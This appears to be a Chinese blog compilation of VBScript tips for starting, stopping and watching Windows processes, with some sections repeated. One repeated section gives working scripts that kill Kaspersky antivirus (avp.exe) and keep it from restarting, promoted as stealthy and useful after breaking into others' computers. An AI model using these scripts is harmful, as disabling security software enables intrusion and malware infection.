VBS脚本随笔

1、定时运行程序与关闭程序的VBS处理方法：

do

set ws=createobject("wscript.shell")

ws.run"你要运行的程序的路径(比如说d:\qq.exe)",x 'x为参数，可选值如下.

wscript.sleep 36000 '36000为一分钟，具体可以自己改。

ws.run "taskkill /im 你要运行的程序的名称（比如说QQ.exe) /f",vbhide

loop

x为参数 下面为可选值：

0 隐藏一个窗口并激活另一个窗口。

1 激活并显示窗口。如果窗口处于最小化或最大化状态，则系统将其还原到原始大小和位置。第一次显示该窗口时，应用程序应指定此标志。

2 激活窗口并将其显示为最小化窗口。

3 激活窗口并将其显示为最大化窗口。

4 按最近的窗口大小和位置显示窗口。活动窗口保持活动状态。

5 激活窗口并按当前的大小和位置显示它。

6 最小化指定的窗口，并按照 Z 顺序激活下一个顶部窗口。

7 将窗口显示为最小化窗口。活动窗口保持活动状态。

8 将窗口显示为当前状态。活动窗口保持活动状态。

9 激活并显示窗口。如果窗口处于最小化或最大化状态，则系统将其还原到原始大小和位置。还原最小化窗口时，应用程序应指定此标志。

10 根据启动应用程序的程序状态来设置显示状态。

2、VBS控制应用程序的打开关闭

关闭所有excel文件

Set ObjShell=CreateObject("Wscript.Shell")

SttCommand=("cmd.exe /C  Taskkill  /f /im Excel.exe")

ObjShell.Run SttCommand, 0, False

用vbs打开程序 

 

检查程序，如已有就不打开！

 

pro="c:\windows\system32\notepad.exe"'要打开的程序，写完整路径

 

n=split(pro,"\")

name=n(ubound(n))

 

for each ps in getobject("winmgmts:\\.\root\cimv2:win32_process").instances_ 

s=s&sep&ps.name:sep="|":next

s=split(s,"|")

for i=0 to ubound(s)

if name=s(i) then wscript.quit

next

 

createobject("wscript.shell").run pro

 

====================================================================

 

vbs打开关闭应用程序

 

'1.打开关闭应用程序

 

Set WshShell = CreateObject("WScript.Shell")

'打开应用程序

 

Set oExec = WshShell.Exec("C:\WINDOWS\system32\notepad.exe")

WScript.Sleep 5000

WshShell.AppActivate oExec.ProcessID

 

WScript.Sleep 100

通过快捷键关闭程序

 

WshShell.SendKeys "%{F4}"

 

Set oExec = Nothing

 

 

'2. 通过进程名关闭程序

 

set WshShell =createobject("wscript.shell") 

'暂停3000毫秒 

wscript.sleep 3000

 

'关闭记事本. 关闭程序得知道程序的进程名,在任务管理器里面.

WshShell.run "cmd.exe /c taskkill /f /im notepad.exe /t",0

 

==========================================================================

用VBS实现脚本结束进程与防止进程启动

 

Kill.vbs用来在cmd下结束进程，Dis.vbs用来在窗口模式下防止某进程再次启动。这两个VBS都不会被杀毒软件KILL掉，并且有一定的隐蔽性……看代码！（'为注释）  

Kill.vbs： 

for each ps in getobject _  

("winmgmts:\\.\root\cimv2:win32_process").instances_ '涉及到WMI脚本入侵技术，我不能解释清楚！  

if ps.handle=wscript.arguments(0) then '判断进程的PID号是否与获得的PID号参数相等  

wscript.echo ps.terminate '如果相等就结束指定PID号对应的进程  

end if  

next  

 

Dis.vbs：

dim y,x '不要这行也行……  

do '来个死循环……一直在判断！do ... loop内为循环体！  

set y=getobject("winmgmts:\\.\root\cimv2") '和上面解释一样，这也是涉及到微软的WMI技术！  

set x=y.execquery("select * from win32_process where name='avp.exe'")  

'查询语句，where后判断avp.exe（卡巴）是否存在进程中！  

'这样当卡巴被上面的Kill.vbs结束时就再也启动不起来了。除非，把Dis.vbs结束了先……  

for each i in x  

i.terminate() '卡巴要启动马上就终止……  

next  

wscript.sleep  

loop  

解释够清楚了，那就来看看这两个vbs是如何工作的吧。我将Kill.vbs与Dis.vbs放在C盘根目录下。  

打开cmd，输入cd\回到C盘根目录下，输入tasklist查看当前系统的进程情况，然后记下你想kill的进程的PID号，输入cscript Kill.vbs 2200即可结束PID为2200的进程了！假如这个进程是avp.exe，那你就可以输入Dis.vbs启动Dis.vbs来防止卡巴继续被启动。Dis.vbs启动时仅在任务管理器的进程中有wscript.exe进程项，要是不结束这个进程是无法再次启动卡巴的。  

懂得这些，为以后入侵他人电脑后上传病毒、木马之类的就更方便了一点点……上面的所有过程都经本人试验成功了，继续完善……  

 

 

=========================================================================

 

VBS,自动结束进程

 

先写上脚本代码先：

 

do while(1)

strComputer = "."

Set objWMIService = GetObject("winmgmts:" _

& "{impersonationLevel=impersonate}!\" & strComputer & "rootcimv2")

Set colProcessList1 = objWMIService.ExecQuery _

("Select * from Win32_Process Where Name = 'iexplore.exe'")

For Each objProcess1 in colProcessList1

objProcess1.Terminate()

Next

Set colProcessList2 = objWMIService.ExecQuery _

("Select * from Win32_Process Where Name = 'notepad.exe'")

For Each objProcess2 in colProcessList2

objProcess2.Terminate()

Next

Set colProcessList3 = objWMIService.ExecQuery _

("Select * from Win32_Process Where Name = 'ping.exe'")

For Each objProcess3 in colProcessList3

objProcess3.Terminate()

Next

Wscript.Sleep(1000)

Loop

 

把上面的代码用记事本保存先，上面的3个红色的进程名则是我要终止的进程名（注：一定要写全名哦~）

 

如果你要禁止多个进程只需把上面的蓝色部分代码段多复制几下，然后把其中红色部分的进程名改为你

 

想终止的进程名即可。

 

最下面的红色的“1000”表示脚本循环运行一次的周期时间，默认单位为：毫秒。1000毫秒即=1秒

 

就是说每1秒循环一次，自己可以根据你的实际情况自由改动

 

OK,代码都改好之后就可以把记事本的后缀名改为“.vbs”并运行可以了，你在看看你禁用掉的进程还可以

 

运行吗？呵呵，是不是感觉很不错，呵呵~

 

如果想把这个运行的VBS脚本关掉，请在任务栏把进程wscript.exe结束掉先，然后再把wmiprvse.exe结束掉

 

就可以啦~

 

另外请不要重复运行改好的脚本，否则任务栏里会出现多个wscript.exe进程，如果有多个这样的进程请手动

 

结束掉多余的，只留一个就OK啦

 

如果你想开机就自动执行的话，请把这个脚本放到启动栏里就可以了。

 

总的来说还是很实用的，例如机器中了病毒或者木马，找到它的进程名，然后把它的进程名添加到脚本里，

 

开启脚本，这样就能防止病毒进一步爆发减少你的损失，接下来就可以慢慢进行排毒工作了

 

 

3、用vbs打开程序

检查程序，如已有就不打开！

pro="c:\windows\system32\notepad.exe"'要打开的程序，写完整路径

n=split(pro,"\")
name=n(ubound(n))

for each ps in getobject("winmgmts:\\.\root\cimv2:win32_process").instances_
s=s&sep&ps.name:sep="|":next
s=split(s,"|")
for i=0 to ubound(s)
if name=s(i) then wscript.quit
next

createobject("wscript.shell").run pro

====================================================================

vbs打开关闭应用程序

'1.打开关闭应用程序

Set WshShell = CreateObject("WScript.Shell")
'打开应用程序

Set oExec = WshShell.Exec("C:\WINDOWS\system32\notepad.exe")
WScript.Sleep 5000
WshShell.AppActivate oExec.ProcessID

WScript.Sleep 100
通过快捷键关闭程序

WshShell.SendKeys "%{F4}"

Set oExec = Nothing

'2. 通过进程名关闭程序

set WshShell =createobject("wscript.shell")
'暂停3000毫秒
wscript.sleep 3000

'关闭记事本. 关闭程序得知道程序的进程名,在任务管理器里面.
WshShell.run "cmd.exe /c taskkill /f /im notepad.exe /t",0
 
==========================================================================
用VBS实现脚本结束进程与防止进程启动

Kill.vbs用来在cmd下结束进程，Dis.vbs用来在窗口模式下防止某进程再次启动。这两个VBS都不会被杀毒软件KILL掉，并且有一定的隐蔽性……看代码！（'为注释） 
Kill.vbs：
for each ps in getobject _ 
("winmgmts:\\.\root\cimv2:win32_process").instances_ '涉及到WMI脚本入侵技术，我不能解释清楚！ 
if ps.handle=wscript.arguments(0) then '判断进程的PID号是否与获得的PID号参数相等 
wscript.echo ps.terminate '如果相等就结束指定PID号对应的进程 
end if 
next

Dis.vbs：
dim y,x '不要这行也行…… 
do '来个死循环……一直在判断！do ... loop内为循环体！ 
set y=getobject("winmgmts:\\.\root\cimv2") '和上面解释一样，这也是涉及到微软的WMI技术！ 
set x=y.execquery("select * from win32_process where name='avp.exe'") 
'查询语句，where后判断avp.exe（卡巴）是否存在进程中！ 
'这样当卡巴被上面的Kill.vbs结束时就再也启动不起来了。除非，把Dis.vbs结束了先…… 
for each i in x 
i.terminate() '卡巴要启动马上就终止…… 
next 
wscript.sleep 
loop 
解释够清楚了，那就来看看这两个vbs是如何工作的吧。我将Kill.vbs与Dis.vbs放在C盘根目录下。 
打开cmd，输入cd\回到C盘根目录下，输入tasklist查看当前系统的进程情况，然后记下你想kill的进程的PID号，输入cscript Kill.vbs 2200即可结束PID为2200的进程了！假如这个进程是avp.exe，那你就可以输入Dis.vbs启动Dis.vbs来防止卡巴继续被启动。Dis.vbs启动时仅在任务管理器的进程中有wscript.exe进程项，要是不结束这个进程是无法再次启动卡巴的。 
懂得这些，为以后入侵他人电脑后上传病毒、木马之类的就更方便了一点点……上面的所有过程都经本人试验成功了，继续完善……

4、制作 一键启动程序，用vbs文件实现

 

教你制作 一键启动程序，用vbs文件实现

相信许多办公室一族都有这样的经历：每次打开电脑都要逐一开启N个即时通讯工具和Email客户端，鼠标点不够几十次根本无法开始工作，还没正式投入战斗，就已经倦了。虽然我们可以将其全部设为开机自动启动，但这会大大减慢开机速度，而且在不需要它们的非工作日无法临时取消。

如果，能有一款软件，使我们只点一次鼠标或是按一个键，就能将这些程序全部启动就好了。其实，Windows本身就有这样的功能，我们只需编写一个脚本即可。

首先，我们要准备好待启动程序的完整路径。对绝大多数程序来说，只需在开始菜单内的相应软件名上点右键，选“属性”，然后将“目标”中的文字复制下来即可。

但有几个程序比较特殊，用这种方法找不到其路径，比如MSN Messenger和Microsoft Office中的Word、Excel等组件。下面是这些程序在默认情况下的完整路径，如果您是自定义安装，则需根据情况略作修改。
MSN Messenger: "C:\Program Files\MSN Messenger\msnmsgr.exe"
Word: "C:\Program Files\Microsoft Office\Office12\WINWORD.EXE"
（注：这是Office2007的情况，如果是Office2003或OfficeXP，需把路径中的Office12换成Office11或Office10，下同）
Excel: "C:\Program Files\Microsoft Office\Office12\EXCEL.EXE"
Access: "C:\Program Files\Microsoft Office\Office12\MSACCESS.EXE"
PowerPoint: "C:\Program Files\Microsoft Office\Office12\POWERPNT.EXE"
接下来，新建一个文本文档，按下面格式将你要启动的程序输进去：
Program1 = "C:\Program Files\Tencent\QQ\QQ.exe"
Program2 = "C:\Program Files\MSN Messenger\msnmsgr.exe"
Program3 = "C:\Program Files\Outlook Express\msimn.exe"
Program4 = "C:\Program Files\Microsoft Office\Office12\EXCEL.EXE"
……

输完以后，再根据你上面输入的行数继续输入下面命令。
Set WshShell=createobject("wscript.shell")
Set oExec=WshShell.Exec(Program1)
Set WshShell=createobject("wscript.shell")
Set oExec=WshShell.Exec(Program2)
Set WshShell=createobject("wscript.shell")
Set oExec=WshShell.Exec(Program3)
Set WshShell=createobject("wscript.shell")
Set oExec=WshShell.Exec(Program4)
……

然后将此文件保存在任一目录下，并将扩展名改为vbs，再点右键，选“发送到→桌面快捷方式”。最后到桌面上找到这个快捷方式，点右键选“属性”在“快捷键”中设置一个快捷键（如F9）。

以后再开机，只须轻轻按一下F9键，就能启动你需要的全部程序.